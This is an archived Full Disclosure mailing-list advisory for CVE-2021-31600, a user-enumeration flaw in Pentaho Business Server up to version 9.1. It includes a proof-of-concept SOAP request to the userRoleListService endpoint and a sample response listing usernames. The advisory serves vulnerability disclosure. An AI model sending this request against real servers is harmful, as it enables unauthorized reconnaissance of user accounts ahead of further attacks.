Pentaho <= 9.1 Jackrabbit User Enumeration

Related Vulnerabilities: CVE-2021-31600  
                							

                <!--X-Body-Begin-->
<!--X-User-Header-->
<a href="/fulldisclosure/"><img src="/images/fulldisclosure-logo.png" class="l-logo right" alt="fulldisclosure logo" width="80"></a>
<h2 class="m-list"><a href="/fulldisclosure/">Full Disclosure</a>
mailing list archives</h2>
<!--X-User-Header-End-->
<!--X-TopPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="13"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#14">By Date</a>
<a href="15"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="13"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#14">By Thread</a>
<a href="15"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<form class="nst-search center" action="/search/fulldisclosure">
<input class="nst-search-q" name="q" type="search" placeholder="List Archive Search">
<button class="nst-search-button" title="Search">
<img style="width:100%;aspect-ratio:1/1;" alt="" aria-hidden="true" src="/shared/images/nst-icons.svg#search">
</button>
</form>

</div>

<!--X-TopPNI-End-->
<!--X-MsgBody-->
<!--X-Subject-Header-Begin-->
<h1 class="m-title">Pentaho &lt;= 9.1 Jackrabbit User Enumeration</h1>
<hr>
<!--X-Subject-Header-End-->
<!--X-Head-of-Message-->


<em>From</em>: BlackHawk &lt;hawkgotyou () gmail com&gt;


<em>Date</em>: Tue, 2 Nov 2021 19:19:10 +0100


<!--X-Head-of-Message-End-->
<!--X-Head-Body-Sep-Begin-->
<hr>
<!--X-Head-Body-Sep-End-->
<!--X-Body-of-Message-->
<pre style="margin: 0em;">Product: Pentaho Business Analytics / Pentaho Business Server
Vendor / Manufacturer: Hitachi Vantara
Affected Version(s): &lt;= 9.1
Vulnerability Type: Jackrabbit User Enumeration
Solution Status: Fix Released on public GitHub repository
Manufacturer Notification:  8th February 2021
Solution Date: Wont fix
Public Disclosure: 01 November 2021
CVE Reference: CVE-2021-31600
Author(s) of Advisory: Alberto Favero ( HawSec ) &amp; Altion Malka

--- ### --- ### ---

Product Description:

Pentaho is business intelligence (BI) software that provides data
integration, OLAP services, reporting, information dashboards, data mining
and extract, transform, load (ETL) capabilities. Its headquarters are in
Orlando, Florida. Pentaho was acquired by Hitachi Data Systems in 2015 and
in 2017 became part of Hitachi Vantara.

( Source: <a rel="nofollow" href="https://en.wikipedia.org/wiki/Pentaho">https://en.wikipedia.org/wiki/Pentaho</a> )

--- ### --- ### ---

Vulnerability Details:

Pentaho implements a series of web services using the SOAP protocol to
allow scripting interaction with the backend server. HAWSEC identified that
the services userRoleListService and ServiceAction exposed through the
"/pentaho/webservices/userRoleListService" and
"/pentaho/ServiceAction?action=SecurityDetails" endpoints are not enforcing
sufficient access controls. Specifically, an authenticated user can list
all application usernames present in the Jackrabbit Repository.

--- ### --- ### ---

Proof of Concept (PoC):

See Ginger ( <a rel="nofollow" href="https://github.com/HawSec/ginger">https://github.com/HawSec/ginger</a> )

or

--- ~~~ --- ~~~ ---
POST /pentaho/webservices/userRoleListService HTTP/1.1
Host: localhost:8080
Connection: close
Cookie: JSESSIONID=878BCFF82EC40D06F72D64172CAC98B4;
SOAPAction:
Content-Type: text/xml; charset=UTF-8
Content-Length: 244
&lt;soapenv:Envelope
xmlns:soapenv="<a rel="nofollow" href="http://schemas.xmlsoap.org/soap/envelope/&quot;">http://schemas.xmlsoap.org/soap/envelope/"</a>;
xmlns:ws="<a rel="nofollow" href="http://ws.userrole.security.platform.pentaho.org/&quot;">http://ws.userrole.security.platform.pentaho.org/"</a>;&gt;
&lt;soapenv:Header/&gt;
&lt;soapenv:Body&gt;
&lt;ws:getAllUsers/&gt;
&lt;/soapenv:Body&gt;
&lt;/soapenv:Envelope&gt;


HTTP/1.1 200
Content-Type: text/xml;charset=utf-8
Connection: close
Content-Length: 353
&lt;?xml version='1.0' encoding='UTF-8'?&gt;
&lt;S:Envelope
xmlns:S="<a rel="nofollow" href="http://schemas.xmlsoap.org/soap/envelope/&quot;">http://schemas.xmlsoap.org/soap/envelope/"</a>;&gt;
&lt;S:Body&gt;
&lt;ns2:getAllUsersResponse
xmlns:ns2="<a rel="nofollow" href="http://ws.userrole.security.platform.pentaho.org/&quot;">http://ws.userrole.security.platform.pentaho.org/"</a>;&gt;
&lt;return&gt;pat&lt;/return&gt;
&lt;return&gt;test&lt;/return&gt;
&lt;return&gt;suzy&lt;/return&gt;
&lt;return&gt;admin&lt;/return&gt;
&lt;return&gt;tiffany&lt;/return&gt;
&lt;/ns2:getAllUsersResponse&gt;
&lt;/S:Body&gt;
&lt;/S:Envelope&gt;
--- ~~~ --- ~~~ ---

--- ### --- ### ---


Credits:

This vulnerability was discovered by Alberto Favero &amp; Altion Malka

--- ### --- ### ---




-- 
BlackHawk - hawkgotyou () gmail com

Experientia senum, agilitas iuvenum.
Adversa fortiter. Dubia prudenter.

_______________________________________________
Sent through the Full Disclosure mailing list
<a rel="nofollow" href="https://nmap.org/mailman/listinfo/fulldisclosure">https://nmap.org/mailman/listinfo/fulldisclosure</a>
Web Archives &amp; RSS: <a rel="nofollow" href="http://seclists.org/fulldisclosure/">http://seclists.org/fulldisclosure/</a>

</pre>
<!--X-Body-of-Message-End-->
<!--X-MsgBody-End-->
<!--X-Follow-Ups-->
<hr>
<!--X-Follow-Ups-End-->
<!--X-References-->
<!--X-References-End-->
<!--X-BotPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="13"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#14">By Date</a>
<a href="15"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="13"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#14">By Thread</a>
<a href="15"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
</div>
<h3 class="m-thread">Current thread:</h3>
<ul class="thread">
<li><strong>Pentaho &lt;= 9.1 Jackrabbit User Enumeration</strong> <em>BlackHawk (Nov 04)</em>
</li></ul>


<!--X-BotPNI-End-->
<!--X-User-Footer-->
<!--X-User-Footer-End-->
<p>